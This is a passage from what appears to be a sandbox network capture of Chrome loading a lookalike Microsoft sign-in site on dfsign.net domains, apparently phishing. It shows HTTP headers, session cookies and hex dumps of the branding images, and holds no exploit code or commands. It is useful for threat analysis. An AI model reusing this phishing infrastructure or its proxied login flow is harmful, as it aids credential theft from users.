8f3PNGIHDR 'pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 ">
2025-01-07 13:48:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49778	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:59 UTC	578	OUT	GET /c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/bannerlogo?ts=638616517362984701 HTTP/1.1 Host: 9b4922d2-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:59 UTC	778	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:59 GMT Content-Type: image/* Transfer-Encoding: chunked Connection: close cache-control: public, max-age=86400 last-modified: Wed, 11 Sep 2024 11:42:16 GMT etag: 0x8DCD256C926F259 x-ms-request-id: 11bb285a-401e-0044-520a-61d193000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134859Z-15464c697c5hx8dqhC1FRAdvvs0000000rhg00000000r767 x-fd-int-roxy-purgeid: 50755578 x-cache: TCP_HIT x-cache-info: L1_T2 accept-ranges: bytes
2025-01-07 13:48:59 UTC	4366	IN	Data Raw: 31 31 30 36 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f5 00 00 00 24 08 06 00 00 00 51 d3 7c ef 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 04 f6 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 61 36 61 36 33 39 36 38 61 2c 20 32 30 32 34 2f 30 33 2f 30 36 2d 31 31 3a 35 32 3a 30 35 20 20 20 20 20 20 20 20 22 Data Ascii: 1106PNGIHDR$Q\|pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "
2025-01-07 13:48:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49779	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:59 UTC	580	OUT	GET /c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/illustration?ts=638616517367191629 HTTP/1.1 Host: 9b4922d2-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:49:00 UTC	758	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:49:00 GMT Content-Type: image/* Transfer-Encoding: chunked Connection: close cache-control: public, max-age=86400 last-modified: Wed, 11 Sep 2024 11:42:16 GMT etag: 0x8DCD256C96948D8 x-ms-request-id: 471d3e5d-901e-001a-090a-613a73000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134900Z-15464c697c5rxg6nhC1FRAdxfs0000000rpg0000000094zk x-fd-int-roxy-purgeid: 50755578 x-cache: TCP_MISS accept-ranges: bytes
2025-01-07 13:49:00 UTC	16384	IN	Data Raw: 37 38 38 33 0d 0a ff d8 ff e1 06 ee 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 1f 40 00 00 01 01 00 03 00 00 00 01 11 94 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 22 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d6 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 01 24 00 08 00 08 00 08 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 32 34 3a 30 39 3a 31 31 20 31 30 3a 33 35 3a 33 39 00 00 00 00 Data Ascii: 7883ExifMM*@(1"2i$-'-'Adobe Photoshop 25.11 (Macintosh)2024:09:11 10:35:39
2025-01-07 13:49:00 UTC	14475	IN	Data Raw: e7 58 66 9a 68 0e b9 94 16 db 42 c5 93 3a be 46 6e 99 1a cf 4d dc ea 4e 9a dd 73 1d 1a d6 6e a5 e8 62 cc ca 06 ca 00 06 d8 a8 00 00 00 00 05 82 a2 85 b0 05 20 a2 41 51 02 84 00 00 00 00 08 a2 28 2c 04 50 00 00 00 00 00 00 00 00 08 50 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 00 00 00 25 99 d6 04 32 40 d4 c4 6a e6 ea 13 38 f6 b8 da c9 70 9a 58 49 68 92 e1 ac 21 73 ac f3 b9 81 a9 27 3b bf 73 ca 7f a3 f5 fa 6b 3b 1f 84 6e 7f 76 1a 3e 0c fc f8 9f af 54 7e 14 b9 fd cd 37 d4 f5 29 f8 f6 cf da f3 43 f0 85 7e 2f b3 a9 b3 0c e6 cc dd 2d 48 ca 2c 51 e8 3a f1 f5 f0 b2 e9 66 a4 92 cb 43 a4 d5 8c b3 a6 e8 35 1d 24 03 5a a0 5c c1 35 7b e6 74 21 ac ef 56 6f 33 7a d6 ae 49 b5 d4 ba ce ba 12 e3 13 60 68 d0 00 15 9d a1 00 11 54 58 2a 28 0b 52 51 20 a1 11 42 00 00 Data Ascii: XfhB:FnMNsnb AQ(,PP %2@j8pXIh!s';sk;nv>T~7)C~/-H,Q:fC5$Z\5{t!Vo3zI`hTX*(RQ B
2025-01-07 13:49:00 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 52 63 de f3 eb c2 e7 37 09 a5 84 cd d5 93 0d 81 0c 03 3a c7 c5 76 e7 eb a2 ae a6 35 2a dd 69 b9 69 a3 64 01 3a 1e e7 1b fa 0e 5b f6 19 d1 40 00 00 00 00 00 00 00 0e b1 f3 dd 79 f8 c9 6c b7 5d 25 de 70 ab a5 37 2e f3 b1 a3 40 1a 67 b1 f3 7b cf ab d6 41 6e a5 97 51 57 54 97 ae 65 2d b6 80 00 00 00 00 00 00 00 00 00 00 00 00 10 40 24 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 08 4a 81 61 28 00 00 00 00 00 00 00 00 11 21 cf 59 99 04 ab 30 bc 5a ac 2b 9c cf dd f1 ef d6 e3 37 49 79 5b 23 1a c2 dc 26 62 5d e5 cf cf c6 bb c9 8a 4a b9 8a b6 46 5a 03 98 25 99 d6 3e 2b b6 3d 7c 6a 5b 33 a9 3a 6b 62 d9 a9 46 c1 e6 4b ef b9 eb dd e3 5d b3 60 34 b5 40 00 00 00 00 00 00 00 0e 69 f3 bd 39 ea cb 5b 74 de 31 52 ec 3a 1b c7 41 4d 80 Data Ascii: 4000Rc7:v5*iid:[@yl]%p7.@g{AnQWTe-@$Ja(!Y0Z+7Iy[#&b]JFZ%>+=\|j[3:kbFK]`4@i9[t1R:AM
2025-01-07 13:49:00 UTC	8	IN	Data Raw: d9 92 25 89 b6 6a 0d 0a Data Ascii: %j
2025-01-07 13:49:00 UTC	16384	IN	Data Raw: 38 37 37 37 0d 0a 62 67 89 e2 4d 53 ab 46 e1 3a b5 02 62 aa a3 1d 10 e8 84 a4 6a 08 91 a8 12 91 a8 34 9a 48 12 92 2a 94 91 14 43 52 40 88 91 a8 a2 f1 12 a4 11 b0 92 49 a4 f6 18 20 d2 69 20 82 3f 55 31 78 d9 02 71 44 49 34 c0 76 aa 21 d5 d1 51 0c 55 cc 6e 04 e6 8d c0 9c 8b 7b 7e 28 c4 74 fd 93 93 21 3a 44 93 16 35 02 75 68 56 31 0c 54 6c 54 46 46 06 46 06 54 d4 3c 8c 37 3a 62 a4 6e 0d 46 48 c5 12 2c a4 c9 18 99 2a 62 86 2a 49 a8 4e 49 27 60 f6 10 41 06 93 49 04 7e ae 92 4d 46 a3 51 aa d4 65 57 54 e1 e4 a8 aa 86 63 66 55 43 19 8e e4 e8 fc 4c b7 63 be 89 40 b7 e4 63 bb 11 d3 f6 c4 c9 51 38 13 1a 93 75 8d 09 d5 51 51 d5 0e d7 e2 b1 dd bd 60 3a 69 32 50 61 b9 d3 01 ef 26 56 3b 8f df 2d d8 d1 af 17 e0 b2 dc a9 14 c4 62 d8 34 41 a4 d2 41 04 7e ae 92 4d 46 a3 51 Data Ascii: 8777bgMSF:bj4HCR@I i ?U1xqDI4v!QUn{~(t!:D5uhV1TlTFFFT<7:bnFH,b*INI'`AI~MFQeWTcfUCLc@cQ8uQQ`:i2Pa&V;-b4AA~MFQ
2025-01-07 13:49:00 UTC	16384	IN	Data Raw: 7b f9 71 28 56 23 15 e1 4c 94 3b 19 8a 97 44 ad 56 af 03 97 ca 32 e2 e1 f4 f3 54 56 21 18 d1 38 7c de 3e 1a 89 13 9b 97 64 92 49 24 92 7b c6 49 46 a3 51 a8 96 4f 7c 65 57 6f 4e e2 6a 51 15 74 7b e8 d4 8e f6 74 ae 26 bc 2c 6a 2c 68 6a ad 49 b8 4e 28 d4 8d 45 30 ca 1b c6 ab 7f 5f fe 63 15 35 55 4a 6c cd 78 51 57 15 0a 8b c2 c5 6e 2a 89 c1 cd 63 ab 15 4c 58 ab 8b 10 bc 2a b1 fa bc 3a 2b 95 56 c2 49 24 92 49 64 f7 84 92 8d 48 d4 6a 35 12 fb f9 d5 d8 ec e0 f1 3e 8f 13 8b 8c 3a 31 19 59 92 ab ae 5b ce 5b 8d f4 38 bc 6c 74 e5 63 56 34 40 d5 1a 91 a8 13 81 39 a3 51 4c 32 91 a9 1a 81 6f eb ff 00 cc 25 0a c4 62 aa 91 bc 6a 2a c4 a5 d1 2b 55 ab c2 bc 34 b8 98 6e a2 f0 15 50 a8 b7 1c 3c b4 e5 cd 70 fe 9f 12 8a e5 44 c9 24 92 49 ef 19 44 a3 51 a8 d4 4b 27 f4 33 dd 57 Data Ascii: {q(V#L;DV2TV!8\|>dI${IFQO\|eWoNjQt{t&,j,hjIN(E0_c5UJlxQWncLX:+VI$IdHj5>:1Y[[8ltcV4@9QL2o%bj*+U4nP<pD$IDQK'3W
2025-01-07 13:49:00 UTC	15261	IN	Data Raw: 3b 11 31 a3 4b 4c c4 92 98 85 d2 25 3a ba e8 49 8c 92 85 14 80 14 e2 e5 04 a5 e2 86 5d bd e2 db 2a 5e 5e cc 84 0a a3 4c c2 b3 60 cc a2 12 47 ce 89 d0 47 59 4a 7f 84 46 a8 ca 43 45 b0 be 1f 1b 32 d3 9f 81 03 ef 51 61 a2 46 0c 3d 58 5a c1 3a fa d1 23 25 2e 2a 20 07 17 b4 09 8f 8e 4b 89 2b e2 99 29 78 31 a4 e1 c1 30 a1 a6 5a 11 88 55 0d 70 3a 15 29 29 26 22 35 8a b5 8a b5 90 1f 40 01 a5 7c 51 e0 e9 49 3b 4e c7 8c 95 88 33 8b 95 94 4a a2 f4 4a 30 d4 4a 55 19 04 9d 64 90 f0 84 bc 8a 03 46 b7 3e 1e cb 59 d6 94 84 bc 75 4a c5 8c 99 39 78 41 31 92 90 a5 21 d1 63 a4 92 02 92 4b 83 a9 6b 4f c0 de 23 b4 a5 6c f9 a8 6b 8d 21 3a 99 59 18 70 e6 21 2d 24 a2 22 13 10 2d 61 2a 14 8d 64 bf 8d 27 2b 4d 1f 86 b3 f0 e5 20 ce 84 09 89 79 88 29 8f 01 6a 86 1c 95 ea a8 82 16 05 Data Ascii: ;1KL%:I]^^L`GGYJFCE2QaF=XZ:#%. K+)x10ZUp:))&"5@\|QI;N3JJ0JUdF>YuJ9xA1!cKkO#lk!:Yp!-$"-a*d'+M y)j
2025-01-07 13:49:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49780	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:00 UTC	1060	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: 8ae57709-b5027fcd.dfsign.net Connection: keep-alive Content-Length: 1702 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" upload-time: 1736257737034 sec-ch-ua-mobile: ?0 client-version: 1DS-Web-JS-3.2.6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 time-delta-to-apply-millis: use-collector-delta content-type: application/x-json-stream cache-control: no-cache, no-store apikey: b0c252808e614e949086e019ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951 Client-Id: NO_AUTH sec-ch-ua-platform: "Windows" Accept: / Origin: https://login.dfsign.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:49:00 UTC	1702	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 37 54 31 33 3a 34 38 3a 35 35 2e 30 31 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 62 30 63 32 35 32 38 30 38 65 36 31 34 65 39 34 39 30 38 36 65 30 31 39 61 65 31 63 62 33 30 30 22 2c 22 65 78 74 22 3a 7b 22 61 70 70 22 3a 7b 22 76 65 72 22 3a 22 32 2e 31 2e 31 39 36 38 33 2e 33 22 2c 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 73 65 73 49 64 22 3a 22 59 36 71 39 6c 54 38 39 73 6c 38 54 52 46 6b 71 43 62 49 50 56 69 22 Data Ascii: {"name":"IDUX_ESTSClientTelemetryEvent_WebWatson","time":"2025-01-07T13:48:55.018Z","ver":"4.0","iKey":"o:b0c252808e614e949086e019ae1cb300","ext":{"app":{"ver":"2.1.19683.3","name":"IDUX_ESTSClientTelemetryEvent_WebWatson","sesId":"Y6q9lT89sl8TRFkqCbIPVi"
2025-01-07 13:49:00 UTC	856	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:49:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding p3p: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" time-delta-millis: 3547 access-control-allow-headers: P3P,Set-Cookie,time-delta-millis access-control-allow-methods: POST access-control-allow-credentials: true access-control-allow-origin: https://login.dfsign.net access-control-expose-headers: time-delta-millis set-cookie: MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; Domain=dfsign.net; expires=Tue, 14 Jan 2081 03:38:00 GMT; Path=/; Secure set-cookie: MS0=237614e540c9418e96124a6f6446af3e; Domain=dfsign.net; expires=Mon, 15 Jan 2080 04:08:00 GMT; Path=/; Secure
2025-01-07 13:49:00 UTC	159	IN	Data Raw: 39 39 0d 0a 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 31 66 34 63 32 37 61 64 65 31 65 35 34 30 38 33 38 66 62 39 63 62 34 34 39 62 63 62 64 33 65 32 26 48 41 53 48 3d 31 66 34 63 26 4c 56 3d 32 30 32 35 30 31 26 56 3d 34 26 4c 55 3d 31 37 33 36 32 35 37 37 34 30 35 38 31 22 2c 22 6d 63 31 22 3a 22 31 66 34 63 32 37 61 64 65 31 65 35 34 30 38 33 38 66 62 39 63 62 34 34 39 62 63 62 64 33 65 32 22 7d 7d 0d 0a Data Ascii: 99{"acc":1,"webResult":{"msfpc":"GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581","mc1":"1f4c27ade1e540838fb9cb449bcbd3e2"}}
2025-01-07 13:49:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49781	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:01 UTC	665	OUT	GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: 8ae57709-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e
2025-01-07 13:49:01 UTC	267	IN	HTTP/1.1 405 Method Not Allowed Server: nginx Date: Tue, 07 Jan 2025 13:49:01 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close allow: OPTIONS,POST access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:01 UTC	78	IN	Data Raw: 34 38 0d 0a 7b 22 4d 65 73 73 61 67 65 22 3a 22 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 68 74 74 70 20 6d 65 74 68 6f 64 20 27 47 45 54 27 2e 22 7d 0d 0a Data Ascii: 48{"Message":"The requested resource does not support http method 'GET'."}
2025-01-07 13:49:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49782	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:03 UTC	1049	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: fsiC3OnuW1Am1e0/IL49aw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:49:03 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:49:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d16582c8-f6c0-45e1-a0d5-dcb008b2e901 x-ms-ests-server: 2.1.19683.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49783	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:12 UTC	1049	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: Hqa9mMI39w+yxXuM0H51XQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:49:12 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:49:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 84141ae5-cfc8-4a6d-9012-3021c3b4be00 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49784	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:18 UTC	1049	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: y2xXzaW5ElzNrfQYLX/yog== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:49:19 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:49:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 1614fbee-e15b-410e-a625-37d3b931ed01 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49786	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
